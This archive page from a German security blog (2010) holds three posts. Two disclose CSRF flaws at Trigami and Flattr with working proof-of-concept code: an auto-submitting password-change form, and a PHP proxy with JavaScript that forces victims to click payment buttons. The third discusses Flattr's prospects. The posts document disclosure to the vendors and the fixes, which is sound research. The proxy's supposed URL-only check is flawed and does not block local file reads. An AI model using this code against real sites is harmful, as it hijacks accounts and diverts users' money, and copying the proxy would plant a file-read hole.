Archive: Month 6, Year 2010

Trigami kann angegriffen werden

16.06.2010 yahe legacy security thoughts

Heute geht es einmal um den Werbevermittlungsdienst "Trigami", in deren Nutzereinstellungsseiten sich mehrere "CSRF"-Lücken (Cross-Site Request Forgery) befinden. Das Problem ist hier vor allem, dass Trigami inaktive Nutzer nicht automatisch ausloggt. So ist die Wahrscheinlichkeit hoch, dass Trigami-Nutzer unbedarft in die Falle laufen könnten. Wenn man sich z.B. den Quelltext für das Ändern des Loginpassworts anguckt, sieht man dort folgenden Quelltext:

<form method='POST' action='/'>
  <input type='hidden' name='DO' value='changePassword'>
  <table width='100%'>
    <th colspan="2">Passwort ändern</th>
    <tr><td width='30%'>Neues Passwort</td><td><input type='password' name='newPassword' size=30></td></tr>
    <tr class='alt'><td>Neues Passwort bestätigen</td><td><input type='password' name='newPassword2' size=30></td></tr>
    <tr class='trlastrow'><td></td><td><input class='submit' type='submit' value='Neues Passwort speichern'></td></tr>
  </table>
</form>

Wie wir sehen, gibt es kein CSRF-Token, mit dem der Vorgang vor Angriffen geschützt wird. Auch das aktuelle Passwort wird nicht zur Sicherheit abgefragt. Dadurch reicht solch einfacher Quelltext, um das Passwort eines eingeloggten Trigami-Nutzers zu ändern:

<form method="POST" id="trigamipwd" name="trigamipwd" action="http://www.trigami.com/?DO=showChangePassword">
  <input type="hidden" name="DO" value="changePassword">
  <input type="hidden" name="newPassword" size="30" value="neuesPasswort" />
  <input type="hidden" name="newPassword2" size="30" value="neuesPasswort" />
  <input type="submit" name="submitButton" value="Neues Passwort speichern" />
</form>
<script type="text/javascript">
  document.trigamipwd.submitButton.click();
</script>

Mit Hilfe von iFrames, Popupfenstern oder Ähnlichem würde ein Opfer nicht mal mitbekommen, dass gerade das Passwort geändert wurde. Es bleibt schließlich weiterhin eingeloggt und kann Trigami ungehindert nutzen. Der Angreifer kann sich daher in Seelenruhe einloggen und z.B. die Kontoinformationen für die Abbuchung ändern. Die Wahrscheinlichkeit, dass ein Nutzer diese Informationen regelmäßig überprüft, dürfte recht gering sein.

Der einzige Weg, sich zu schützen, ist, nicht eingeloggt zu sein, wenn man mit dem Browser unterwegs ist.

Update

Wie mir gerade mitgeteilt wurde, muss man nun das alte Passwort eingeben, bevor man das Passwort ändern kann. Das hilft jedoch nur bedingt, da über denselben Angriffsvektor weiterhin die Änderung der Bankdaten möglich ist.

Geänderter Passwortdialog


Flattr-Manipulation ist möglich!

04.06.2010 yahe code legacy security

Gestern habe ich darüber berichtet, dass ich mir nun auch einen der Beta-Accounts der neuen Micropayment-Plattform Flattr geholt habe. Am Ende des Artikels hatte ich eine mögliche Angriffsfläche erwähnt, die auch schon bei Twitter ausgenutzt worden ist. Wie ich nun durch eigene Tests herausgefunden habe, ist es tatsächlich möglich, Besucher einer Seite dazu zu bringen, völlig unbekannte Seiten zu flattrn.

Die Theorie hinter dem Angriff ist relativ einfach erklärt: Damit Flattr wirklich sinnvoll genutzt werden kann, muss man permanent eingeloggt sein. Es wird wohl kaum Nutzer geben, die sich jedes Mal erst einloggen wollen, bevor sie einen Flattr-Button drücken können. Diesen permanenten Login kann man nun missbrauchen, um Webnutzer dazu zu bringen, den Flattr-Button (bzw. den Link, der sich dahinter verbirgt) anzuklicken.

In der Praxis haben die Entwickler von Flattr versucht, dies dadurch zu verhindern, indem bei jedem Pageload ein möglichst zufälliger Link für den Button generiert wird. Damit kann man nicht einfach die URL zum Button irgendwo verlinken. Die Linkgenerierung selbst ist dabei in der Flattr-API gekapselt, die ebenfalls dafür sorgt, den Button in einem iFrame zu platzieren, wahrscheinlich, um den Button damit zusätzlich von außen abzuschotten.

Eine Schwäche hat die Abschottung jedoch: Die URL, die generiert wird, um den iFrame zu laden, ist statisch. Das sorgt dafür, dass man die URL auslesen und erneut aufrufen kann. Damit lassen sich dann beliebig viele gültige Button-URLs generieren. Ein weiteres Problem ist, dass die Button-URLs selbst vollkommen funktionstüchtig sind. Es wird nicht einmal der Referrer überprüft, um sicher zu gehen, dass der Button wirklich auf der Seite geklickt wurde, für die der Button generiert wurde.

In meinen Versuchen bin ich ziemlich grob vorgegangen: Ich habe für das Ausnutzen der Lücke ein Mini-PHP-Proxy-Script und ein Stückchen JavaScript geschrieben. Durch die beiden Teile kann man die Button-URL jeder x-beliebigen Webseite, die Flattr einsetzt, verlinken. Bisher nehme ich einfach immer die erste Button-URL, die ich finde. Das ließe sich aber leicht modifizieren. Wenn man jemanden dazu bringen möchte, irgendeine Seite zu flattrn, schiebt man ihm einen Link auf das Proxy-Script unter. Dieser Link kann beliebig maskiert sein. Wenn das Opfer die URL aufruft, wird wie folgt vorgegangen:

  1. Im ersten Schritt lädt das Proxy-Script den Quelltext der Seite, von der die Button-URL genutzt werden soll. Vor dem "</body>"-Tag wird ein Stück JavaScript eingeschleust, das sich um das Auslesen der Button-URL kümmert.
  2. Beim Auslesen der Button-URL wird im Seitenquelltext nach dem iFrame gesucht, der auf die Seite "api.flattr.com" verlinkt. Wurde dieser iFrame gefunden, wird die entsprechende URL via AJAX heruntergeladen. Das Proxy-Script wird hier deshalb benutzt, um das Cross-Origins-Problem zu umgehen. Schließlich müssen wir die URL "api.flattr.com" auslesen können.
  3. Im erhaltenen Quelltext suchen wir nach dem Anchor, der wiederum auf den Host "api.flattr.com" verweist. Diese URL ist die Button-URL- Der andere Link weist lediglich auf "flattr.com".
  4. Im Beispiel wird nun per JavaScript eine Relocation vorgenommen, um direkt die Button-URL anzuspringen. Es gibt sicherlich auch Möglichkeiten, das ganze unauffälliger zu machen (z.B. über das Einfügen eines nicht sichtbaren iFrames).

Alle gezeigten Schritte sind lediglich beispielhaft. Es ist mir klar, dass Leute, die mehr Zeit in das Ganze investieren auch unscheinbarere Wege finden werden. Das Vehikel aus PHP und AJAX habe ich z.B. lediglich gewählt, um den Implementierungsaufwand (URLs laden, XML parsen) so gering wie möglich für mich zu halten.

Hier nun die von mir verwendeten Quelltexte. Zuerst der PHP-Proxy. In diesen habe ich noch die Sperre eingebaut, dass nur URLs übergeben werden dürfen. Damit soll verhindert werden, dass man sich ein riesiges Einfallstor errichtet, mit dem Leute beliebige Daten auf der eigenen Platte lesen können.

<?php
  $body     = "</body>";
  $protocol = "http://";
  $script   = "<script type=\"text/javascript\" src=\"/flattr.js\"></script><script type=\"text/javascript\">window.location = getLink('/flattr.php?keepurl=');</script>";

  if (isset($_GET["keepurl"])) {
    if (stripos($_GET["keepurl"], $protocol) == 0) {
      print(file_get_contents($_GET["keepurl"]));
    }
  } else {
    if (isset($_GET["changeurl"])) {
      if (stripos($_GET["changeurl"], $protocol) == 0) {
        $temp = file_get_contents($_GET["changeurl"]);

        $pos = stripos($temp, $body);
        if ($pos !== false) {
          print(substr($temp, 0, $pos) . $script . substr($temp, $pos, strlen($temp)));
        }
      }
    }
  }
?>

Und hier nun die JavaScript-Datei. Den AJAX-Download habe ich mir teilweise ausgeliehen. Der Einfachheit halber verwende ich den synchronen Download. Zum Parsen des ausgelesenen Frame-Quelltextes verwende ich einfach einen Paragraph, den ich dann weiter abfrage.

  String.prototype.startsWith = function(str){return (this.match("^"+str)==str)};

  var apiStarter = "http://api.flattr.com/";

  // as taken from http://www.developers-guide.net/c/117-eine-einfuehrung-in-ajax-und-xmlhttprequest.html
  function createHttpRequest() {
    var result = null;

    if (window.ActiveXObject) {
      try {
        // IE 6 and higher
        result = new ActiveXObject("MSXML2.XMLHTTP");
      } catch (e) {
        try {
          // IE 5
          result = new ActiveXObject("Microsoft.XMLHTTP");
        } catch (e) {}
      }
    } else {
      if (window.XMLHttpRequest) {
        try {
          // Mozilla, Opera, Safari ...
          result = new XMLHttpRequest();
        } catch (e) {}
      }
    }

    return result;
  }

  function retrieveSource(url, returnScript) {
    var result = null;

    var httpRequest = createHttpRequest();

    if (httpRequest != null) {
      httpRequest.open("GET", returnScript + encodeURIComponent(url), false);
      httpRequest.send(null);

      if ((httpRequest.readyState == 4) && (httpRequest.status == 200)) {
        result = httpRequest.responseText;
      }
    }

    return result;
  }

  function getLink(returnScript) {
    var result = null;

    var allFrames   = document.getElementsByTagName("iframe");
    var allLinks    = null;
    var singleFrame = null;
    var singleLink  = null;

    var outputElement = document.createElement("p");

    for (var indexA = 0; indexA < allFrames.length; indexA++) {
      singleFrame = allFrames[indexA];

      if (singleFrame != null) {
        if (singleFrame.src.startsWith(apiStarter)) {
          outputElement.innerHTML = retrieveSource(singleFrame.src, returnScript);

          allLinks = outputElement.getElementsByTagName("a");

          for (var indexB = 0; indexB < allLinks.length; indexB++) {
            singleLink = allLinks[indexB];

            if (singleLink != null) {
              if (singleLink.href.startsWith(apiStarter)) {
                result = singleLink.href;
              }
            }

            if (result != null) {
              break;
            }
          }
        }
      }

      if (result != null) {
        break;
      }
    }

    return result;
  }

Der bisher einzige Weg, diesem Angriff zu entgehen, ist, sich nicht permanent bei Flattr einzuloggen (sprich beim Login das Kästchen "Keep me logged in" nicht zu aktivieren).

Update 1

Da @huxi mich gerade daran erinnert hat: Ich habe mich heute morgen nach Fertigstellung des Proof-of-Concept natürlich an die Entwickler von Flattr gewandt, um ihnen von dem Sicherheitsproblem zu berichten. Dabei habe ich von Peter Sunde persönlich die Aussage erhalten, dass bereits an dem Problem gearbeitet wird. Ich habe ihn auch darum gebeten, mir Bescheid zu geben, wenn der Fehler behoben ist, damit ich ein Update hier im Blog posten kann. Gerade habe ich ein Schreiben von Linus Olsson bekommen, in dem er um meine Ideen für eine mögliche Lösung fragt.

Update 2

Habe jetzt den Text an Linus geschickt. Wer des Englischen mächtig ist und sich für die Lösungsvorschläge interessiert, kann sich ja folgenden Text antun:

Dear Linus,

one of my friends called @huxi had a nice idea which does not solve the problem itself but which could circumvent any problems with unsolicited flatterings: an undo-function. He said, that it would be great to unflatter a "thing" when clicking on the button again. In that way you could at least intervene when you (as a donor) gain knowledge about a fraudulent transaction.

Please tell me when I'm wrong but as I have understood it you have put the flattr button into an iFrame to prevent direct access on its source code (thus using the same origin policy of most modern browsers). This was a very intelligent step as it made accessing the data a lot harder. But the problem you have is that the URL to the content displayed in the iframe is static. So you can just grab the URL and access the page through other means (e.g. a PHP proxy script). To prevent this from happening you would have to use dynamic URLs for the iframe content as well. Maybe this could be achieved by extending the API so that URL generation for a certain content is only possible with the correct user ID and password. You would then send a request to the API which returns the (dynamically generated) URL to the iframe content, which can only be used once.

A final protection would be some kind of confirmation - like a captcha (@huxi suggested that one) or just a simple yes/no dialog box. The matter with this final confirmation is that - in my opinion - it cannot be broken by code injection. When you wanted to break it you would have to use an intermediary (like a proxy) again, but using a proxy this time would mean to lose the necessary session/cookie information we need to execute the cross-site request forgery.

I hope these information will help a bit.

Update 3

Wie es scheint, haben die Entwickler von Flattr nun eine Lösung für das Problem implementiert. Wenn man die Cross-Site-Request-Forgery nun ausprobiert, landet man bei einem Sicherheitshinweis, der einem mitteilt, dass die verwendete IP-Adresse nicht korrekt sei. Ich denke, ich habe herausgefunden, wie sie diese Lösung implementiert haben: Sie scheinen sich beim Generieren der Button-URL zu merken, welche IP die Generierung veranlasst hat. Beim "Klick" wird dann die Generator-IP mit der Klicker-IP verglichen. Diese Sicherung schützt im Moment vor dem präsentierten Angriff, da für das Generieren der Button-URL derzeit ein externes PHP-Script verwendet wird. Sollte es möglich sein, den API-Call zur Button-URL-Generierung ohne die Verwendung eines Proxies ausführen zu lassen, könnte diese Sicherung wieder ausgehebelt werden.


Das Potential von Flattr

03.06.2010 yahe legacy security thoughts

Flattr ist ein sogenannter Micropayment-Dienst. Er ist dafür da, Kleinstbeträge von einem Kunden zu einem Anbieter zu transferieren. Interessant an dem Konzept von Flattr ist der Grund, warum man das Geld transferiert und die Art, wie die Höhe der Bezahlung bestimmt wird. Der Grund für die Bezahlung ist bei Flattr nicht der Zugang zu Inhalten. Der Inhalt ist für jeden Besucher verfügbar, auch für Leute, die ihn nicht bezahlen. Über Flattr kann ein zufriedener Konsument jedoch seine Zuneigung zu dem Inhalt ausdrücken. Durch einen Klick auf den Flattr-Button gibt er eine positive Stimme für den Inhalt ab. Er schmeichelt/lobt (engl. "(to) flatter") also den Inhalteanbieter.

Die mit diesem Lob verbundene Geldmenge wird wie folgt bestimmt: Jeder Flattr-Benutzer zahlt einen Geldbetrag bei dem Betreiber von Flattr ein. Nun kann der Benutzer eine Geldmenge angeben, die im aktuellen Monat auf die Inhalteanbieter aufgeteilt wird, denen der Benutzer ein Lob (durch Klicken des Flattr-Buttons) ausgesprochen hat. Am Ende des Monats werden die Klicks zusammengezählt, der Geldbetrag durch die Anzahl der Klicks geteilt und den Inhalteanbietern anteilsmäßig ausbezahlt. Wenn man also 2€ (ist das Minimum) pro Monat verteilt und auf 10 Blogs den Flattr-Button geklickt hat, bekommt jeder der Blogs 0,20€ von diesem Benutzer.

Das scheint im ersten Moment nicht viel zu sein, aber wenn man sich die ersten Auszahlungen bei größeren Webseiten ansieht, erkennt man, dass auch ein gewisses finanzielles Potential hinter Flattr steckt.

Die primäre Frage wird sein, ob und in wieweit sich das System durchsetzen wird. Dafür gibt es meiner Meinung mehrere Varianten.

Die erste Variante ist, dass Flattr ein Nerdspielzeug bleiben wird. Die jetzigen Einnahmen werden ausschließlich durch die Leute generiert, die Zugang zu den Beta-Accounts haben. Das sind in der Regel Technik- und Web-affine Leute, die solche neuen Konzepte natürlich zu gerne ausprobieren wollen. Die wirkliche Arbeit wird es sein, die Verwendung von Flattr für den Otto-Normal-Surfer schmackhaft zu machen. Das wird gar nicht so einfach sein, denn einen Vorteil bietet ihm Flattr eigentlich nicht. Im Grunde gibt er dadurch nur Geld aus, dass er sonst in andere Dinge investieren könnte. Ich weiß nicht, ob der Großteil der Bevölkerung mit dem Gedanken umherläuft "Man, Blog XY hat mir gerade so sehr weiter geholfen, dem will ich jetzt unbedingt ein paar Cents schenken!".s Die meisten werden wohl einfach die Seite verlassen und sich freuen, dass sie das gefunden haben, wonach sie gesucht haben. Damit wäre das System gescheitert, da sich die Nerds gegenseitig das Geld zuschieben.

Eine andere Möglichkeit wäre, dass sich die Verwendung von Flattr zumindest im Social Media Bereich etabliert. Damit wäre es eine Art "Like"-Button, der als Bonus ein paar Cents mit sich bringt. Ich weiß allerdings nicht, ob mir dieser Gedanke so sehr gefällt. Ich sehe dort nämlich die Gefahr, dass das Geld primär bei den großen Blogs landen wird, so, wie derzeit auch der Großteil der Trackbacks und Links dort landet. Das Resultat des Ganzen wäre wahrscheinlich, dass kleinere Blogs aufhören, Flattr einzusetzen, da sie keinen Mehrwert haben. Dadurch würden jedoch auch die Einnahmen der großen Blogs zurückgehen, bis auch diese irgendwann Flattr von ihren Seiten verbannen. Damit wäre das System tot.

Was also unbedingt passieren muss, ist, dass die Masse der Webnutzer das Potential von Flattr erkennen und die Benutzung einfach genug ist, damit sie es regelmäßig nutzen. Das heißt jedoch auch, dass es für die Benutzer einen Anreiz geben muss, Flattr zu nutzen. In diese Richtung habe ich heute bereits den Vorschlag gelesen, Flattr-Buttons an Blogkommentare zu heften. Dann könnten Kommentatoren mit guten Beiträgen ebenfalls Geld erhalten, da sie ja selbst auch Content-Produzenten sind. Daraus könnte dann eine Mikroökonomie entstehen, von der alle Seiten etwas haben. Die Blogbetreiber und Artikelschreiber könnten Einnahmen generieren und durch das Bereitstellen einer Kommentarplattform gute Kommentatoren anlocken, die Content beitragen und ebenfalls Einnahmen generieren.

Je nach Umfang des Marktes könnten Online-Zeitungen damit evtl. sogar das derzeitige Problem mit der Monetarisierung ihrer Angebote lösen. Sie müssten sich dann jedoch dem Willen des Lesers unterwerfen und das schreiben, was diese gern lesen möchten. Und genau da kommen wir zu den Schattenseiten, wenn man versucht, Flattr in ein mögliches Bezahlsystem zu überführen.

Das erste Problem ist mir schon beim TAZ-Artikel zu dem Thema aufgefallen: Dort heißt es nämlich "Im Prinzip wurde per Flattr belohnt, was unsere Leser im Moment auch sonst gerne lesen". Für Zeitungen könnte diese Art der Flattr-Mentalität wirklich zu einem Problem werden. Denn wer investiert schon Zeit und Geld in Artikel des Alltagsgeschehens, die derzeit keinen interessieren? Es ist doch schließlich viel lukrativer, Themen ausführlich zu behandeln, die derzeit sowieso in aller Munde sind. Das könnte zu einer Verflachung und Gleichschaltung des Inhaltsangebots führen.

Doch ich sehe auch noch ganz andere Probleme. Das fängt beim Finanzamt an: Jeder Blogger weiß, dass er beim Generieren von Einnahmen an das Finanzamt denken sollte. Sollte einem Blogger eine Gewerblichkeit durch seine Einnahmen vorgeworfen werden, könnte es teuer werden, Stichwort Steuerhinterziehung. Wenn nun jeder Contenterzeuger (also auch Kommentatoren) Geld einnimmt, könnte es zu einer rechtlichen Verunsicherung der Flattr-Nutzer kommen. Muss man für einen häufig geflatterten Kommentar ein Gewerbe anmelden? Ab wievielen Kommentaren wird die freie Meinungsäußerung gewerblich und damit steuerpflichtig? Kann man für einen "gewerblichen" Kommentar abgemahnt werden, wenn man darin unaufgefordert Werbung für ein (Konkurrenz-) Produkt macht? Muss man gar ein Impressum für "gewerbliche" Kommentare hinterlassen? Wie man sieht, wird hier das Gewerberecht an seine Grenzen getrieben und es entsteht dringender Klärungsbedarf.

Abschließend sehe ich zudem noch technische Gefahren. Bei Twitter haben wir es mehrfach erlebt: Die Leute sind permanent eingeloggt, die API immer abrufbereit. Ein falscher Klick und schon hat man einen Spamkommentar abgeschickt, oder tausende. Wie wird das bei Flattr aussehen? Wann kommen die ersten Scripte, die automatisch (z.B. per JavaScript) die Flattr-Buttons "für den Besucher" drücken, um sich damit Umsätze zu generieren? Ich denke ehrlich gesagt nicht, dass er derzeit schwer wäre, solch eine Lücke auszunutzen. Ich weiß, es ist schade, dass man sich auch über solche Dinge Gedanken machen muss, aber sie werden früher oder später kommen.


Search

Links

RSS feed

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)